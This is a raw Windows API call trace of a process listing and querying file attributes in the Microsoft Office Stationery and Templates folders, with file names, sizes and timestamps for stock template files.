	[0053.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.htm"), fInfoLevelId=0x0, lpFileInformation=0x128254f8 | out: lpFileInformation=0x128254f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3d4500, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3d4500, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1ed)) returned 1
	[0053.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\NOTEBOOK.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\notebook.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12825548 | out: lpFileInformation=0x12825548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xb86)) returned 1
	[0053.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.gif"), fInfoLevelId=0x0, lpFileInformation=0x12825598 | out: lpFileInformation=0x12825598*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x1202)) returned 1
	[0053.451] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\OFFISUPP.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\offisupp.htm"), fInfoLevelId=0x0, lpFileInformation=0x128255e8 | out: lpFileInformation=0x128255e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa331b800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa331b800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1d5)) returned 1
	[0053.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.gif"), fInfoLevelId=0x0, lpFileInformation=0x12825638 | out: lpFileInformation=0x12825638*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfead0800, ftCreationTime.dwHighDateTime=0x1bdaedd, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfead0800, ftLastWriteTime.dwHighDateTime=0x1bdaedd, nFileSizeHigh=0x0, nFileSizeLow=0x45b)) returned 1
	[0053.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PAWPRINT.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pawprint.htm"), fInfoLevelId=0x0, lpFileInformation=0x12825688 | out: lpFileInformation=0x12825688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3a6900, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc3a6900, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1dc)) returned 1
	[0053.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.htm"), fInfoLevelId=0x0, lpFileInformation=0x128256d8 | out: lpFileInformation=0x128256d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9575800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9575800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e9)) returned 1
	[0053.452] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\PINELUMB.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\pinelumb.jpg"), fInfoLevelId=0x0, lpFileInformation=0x12825728 | out: lpFileInformation=0x12825728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x371bc00, ftCreationTime.dwHighDateTime=0x1bdaede, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x371bc00, ftLastWriteTime.dwHighDateTime=0x1bdaede, nFileSizeHigh=0x0, nFileSizeLow=0xf8d)) returned 1
	[0053.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.htm"), fInfoLevelId=0x0, lpFileInformation=0x12825778 | out: lpFileInformation=0x12825778*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2600900, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2600900, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1fd)) returned 1
	[0053.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\SEAMARBL.JPG" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\seamarbl.jpg"), fInfoLevelId=0x0, lpFileInformation=0x128257c8 | out: lpFileInformation=0x128257c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x1889)) returned 1
	[0053.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.GIF" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.gif"), fInfoLevelId=0x0, lpFileInformation=0x12825818 | out: lpFileInformation=0x12825818*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8d1900, ftCreationTime.dwHighDateTime=0x1c02f19, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a8d1900, ftLastWriteTime.dwHighDateTime=0x1c02f19, nFileSizeHigh=0x0, nFileSizeLow=0x81a)) returned 1
	[0053.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\TECHTOOL.HTM" (normalized: "c:\\program files\\microsoft office\\stationery\\1033\\techtool.htm"), fInfoLevelId=0x0, lpFileInformation=0x12825868 | out: lpFileInformation=0x12825868*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc99e700, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc99e700, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1da)) returned 1
	[0053.453] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates" (normalized: "c:\\program files\\microsoft office\\templates"), fInfoLevelId=0x0, lpFileInformation=0x128258b8 | out: lpFileInformation=0x128258b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates" (normalized: "c:\\program files\\microsoft office\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.453] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.454] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.454] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0053.454] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="PRESEN~1")) returned 1
	[0053.454] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0053.454] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0053.454] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033" (normalized: "c:\\program files\\microsoft office\\templates\\1033"), fInfoLevelId=0x0, lpFileInformation=0x128259a8 | out: lpFileInformation=0x128259a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0053.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033" (normalized: "c:\\program files\\microsoft office\\templates\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0053.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0053.456] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14ebe6b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x15087730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15087730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x329e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyLetter.dotx", cAlternateFileName="ADJACE~1.DOT")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e16f270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x33b26, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyMergeLetter.dotx", cAlternateFileName="ADJACE~2.DOT")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1953d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x36f0b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyReport.dotx", cAlternateFileName="ADJACE~3.DOT")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b18ae00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1953d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b18ae00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3bcb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdjacencyResume.dotx", cAlternateFileName="ADJACE~4.DOT")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR1.XLT", cAlternateFileName="")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR10.XLT", cAlternateFileName="")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR2.XLT", cAlternateFileName="")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR3.XLT", cAlternateFileName="")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR4.XLT", cAlternateFileName="")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR5.XLT", cAlternateFileName="")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x920aaf00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x920aaf00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7200, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR6.XLT", cAlternateFileName="")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR7.XLT", cAlternateFileName="")) returned 1
	[0053.457] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR8.XLT", cAlternateFileName="")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x933bdc00, ftCreationTime.dwHighDateTime=0x1ca48b3, ftLastAccessTime.dwLowDateTime=0xaf5058e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x933bdc00, ftLastWriteTime.dwHighDateTime=0x1ca48b3, nFileSizeHigh=0x0, nFileSizeLow=0x7600, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR9.XLT", cAlternateFileName="")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2941e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryLetter.dotx", cAlternateFileName="APOTHE~1.DOT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x2f0f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryMergeLetter.dotx", cAlternateFileName="APOTHE~2.DOT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x3462a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryNewsletter.dotx", cAlternateFileName="APOTHE~3.DOT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e1bb530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x37879, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApothecaryResume.dotx", cAlternateFileName="APOTHE~4.DOT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b91500, ftCreationTime.dwHighDateTime=0x1c7c8e6, ftLastAccessTime.dwLowDateTime=0xfa1fabf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x77b91500, ftLastWriteTime.dwHighDateTime=0x1c7c8e6, nFileSizeHigh=0x0, nFileSizeLow=0x47c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="BillingStatement.xltx", cAlternateFileName="BILLIN~1.XLT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e2077f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5d23e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieLetter.dotx", cAlternateFileName="BLACKT~1.DOT")) returned 1
	[0053.458] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c49db00, ftCreationTime.dwHighDateTime=0x1ca911e, ftLastAccessTime.dwLowDateTime=0x1e253ab0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c49db00, ftLastWriteTime.dwHighDateTime=0x1ca911e, nFileSizeHigh=0x0, nFileSizeLow=0x5d2119, dwReserved0=0x0, dwReserved1=0x0, cFileName="BlackTieMergeLetter.dotx", cAlternateFileName="BLACKT~2.DOT")) returned 1
